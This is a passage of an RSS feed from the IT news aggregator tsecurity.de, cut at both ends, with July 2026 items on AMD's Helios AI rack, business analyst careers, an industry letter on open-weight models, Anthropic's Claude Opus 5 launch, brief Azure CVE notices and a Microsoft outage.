<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 64x - Views:1898 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/50M2XLX6UL0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>AMD may have just launched the biggest challenge NVIDIA has faced in years. Helios isn&#039;t just another AI GPU it&#039;s AMD&#039;s first full rack-scale AI supercomputer, powered by 72 Instinct MI455X GPUs, 18 EPYC Venice CPUs, and an incredible 31TB of HBM4 memory. Built to compete directly with NVIDIA&#039;s Grace Blackwell and Vera Rubin platforms, Helios is already being deployed by Microsoft, Meta, Oracle, OpenAI, and other AI giants. In this video, we break down AMD Helios, Instinct MI455X, EPYC Venice, HBM4 memory, Helios vs NVIDIA Vera Rubin, Microsoft&#039;s Azure deployment, Meta&#039;s AI infrastructure, ROCm, CUDA, AI data centers, and why AMD believes it can finally challenge NVIDIA&#039;s dominance in the AI chip market. Is Helios the system that finally gives NVIDIA real competition?<br />
<br />
#AMD #Helios #NVIDIA #AI #ArtificialIntelligence #MI455X #Technology #Semiconductors<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia, Microsoft, Meta Warn Against 'Premature Restrictions' of Open-Weight Models]]></title>
<description><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open...]]></description>
<link>https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</guid>
<pubDate>Fri, 24 Jul 2026 22:11:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open-weight models strengthen competition and ensure that the benefits of the technology are "broadly shared rather than concentrated in a few hands." "Relying solely on closed models is not inherently safe: they can be breached, misused, or fail in ways that outsiders cannot detect," the letter said. "And concentrating advanced AI capabilities behind a small number of closed models compounds that risk."
 
Elon Musk, who runs an AI business under his rocket company SpaceX, also applified the letter on social media, writing that it has his "full support" in a post on X. SpaceX did not officially sign the letter. Greg Brockman, OpenAI's president, said Thursday that the company believes in broad access, and that he has not been involved in any conversations with the Trump administration about potentially banning Chinese open-weight models in the U.S.
 
"I think that, that fundamentally, AI and AI usage is something that is actually very important to democratize," Brockman told reporters during a briefing in New York City. "And so, for me, at a sort of deep level, I think that having more models, more usage, that is a good thing." OpenAI CEO Sam Altman addressed the letter in a post on X on Friday, writing that he wants the U.S. to win with both open-weight and proprietary models, and that he is "glad to see this."
 
[...] In the letter on Friday, the U.S. tech companies said that concerns about unlawful distillation should be addressed through "targeted legal and commercial frameworks" instead of with "sweeping restrictions on techniques that play an important role in AI innovation." "Our AI leadership will be judged not by one frontier AI model, but by whether the United States builds a strong, open ecosystem that diffuses into every sector," the letter said. "This is essential for creating opportunities for innovation and prosperity across the country." The letter follows a separate appeal signed by nearly 200 Silicon Valley companies, including Proton and Y Combinator, warning that restricting U.S. access to Chinese open-weight AI models could cripple the next generation of American startups. "American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote. Instead of broad prohibitions, they argue the government should adopt targeted safeguards.
 
Of course, these signees "have an obvious economic stake in seeing open AI models flourish," notes TechCrunch. "Companies like Nvidia, Microsoft Azure, and other infrastructure providers have a vested interest in pushing for commoditized models: If models are interchangeable, people will buy more GPUs, rent more cloud capacity, and build more applications."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Nvidia%2C+Microsoft%2C+Meta+Warn+Against+'Premature+Restrictions'+of+Open-Weight+Models%3A+https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F07%2F24%2F1911233%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F07%2F24%2F1911233%2Fnvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://meta.slashdot.org/story/26/07/24/1911233/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56160 | Microsoft Azure Red Hat OpenShift improper authorization (CNNVD-2026-74404697)]]></title>
<description><![CDATA[A vulnerability identified as very critical has been detected in Microsoft Azure Red Hat OpenShift. The affected element is an unknown function. Performing a manipulation results in improper authorization.

This vulnerability is cataloged as CVE-2026-56160. It is possible to initiate the attack r...]]></description>
<link>https://tsecurity.de/de/3692199/sicherheitsluecken/cve-2026-56160-microsoft-azure-red-hat-openshift-improper-authorization-cnnvd-2026-74404697/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692199/sicherheitsluecken/cve-2026-56160-microsoft-azure-red-hat-openshift-improper-authorization-cnnvd-2026-74404697/</guid>
<pubDate>Fri, 24 Jul 2026 19:36:41 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">very critical</a> has been detected in <a href="https://vuldb.com/product/microsoft:azure_red_hat_openshift">Microsoft Azure Red Hat OpenShift</a>. The affected element is an unknown function. Performing a manipulation results in improper authorization.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-56160">CVE-2026-56160</a>. It is possible to initiate the attack remotely. There is no exploit available.

This product is a managed service, therefore users are not responsible for maintaining vulnerability countermeasures.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56167 | Microsoft Azure AI Search server-side request forgery (CNNVD-2026-81860683)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Microsoft Azure AI Search. Affected by this vulnerability is an unknown functionality. Such manipulation leads to server-side request forgery.

This vulnerability is traded as CVE-2026-56167. The attack may be launched remotely. There is no expl...]]></description>
<link>https://tsecurity.de/de/3692198/sicherheitsluecken/cve-2026-56167-microsoft-azure-ai-search-server-side-request-forgery-cnnvd-2026-81860683/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692198/sicherheitsluecken/cve-2026-56167-microsoft-azure-ai-search-server-side-request-forgery-cnnvd-2026-81860683/</guid>
<pubDate>Fri, 24 Jul 2026 19:36:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/microsoft:azure_ai_search">Microsoft Azure AI Search</a>. Affected by this vulnerability is an unknown functionality. Such manipulation leads to server-side request forgery.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-56167">CVE-2026-56167</a>. The attack may be launched remotely. There is no exploit available.

This product is a managed service, so users are unable to manage vulnerability countermeasures on their own.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft's open-weight AI push is so obviously an Azure play it hurts]]></title>
<description><![CDATA[Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external...]]></description>
<link>https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</guid>
<pubDate>Fri, 24 Jul 2026 18:09:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/microsoft_glitch_robot.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external models in products like Copilot for its in-house MAI family, which performs significantly worse in independent benchmarks.</p>
<p>The article <a href="https://the-decoder.com/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/">Microsoft's open-weight AI push is so obviously an Azure play it hurts</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft blames massive Microsoft 365 outage on maintenance bug]]></title>
<description><![CDATA[Microsoft says a bug in its automated network maintenance request system caused Thursday's massive outage by mistakenly removing IP routes from more devices than intended, disrupting Azure and Microsoft 365 services. [...]]]></description>
<link>https://tsecurity.de/de/3691926/it-security-nachrichten/microsoft-blames-massive-microsoft-365-outage-on-maintenance-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691926/it-security-nachrichten/microsoft-blames-massive-microsoft-365-outage-on-maintenance-bug/</guid>
<pubDate>Fri, 24 Jul 2026 17:46:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
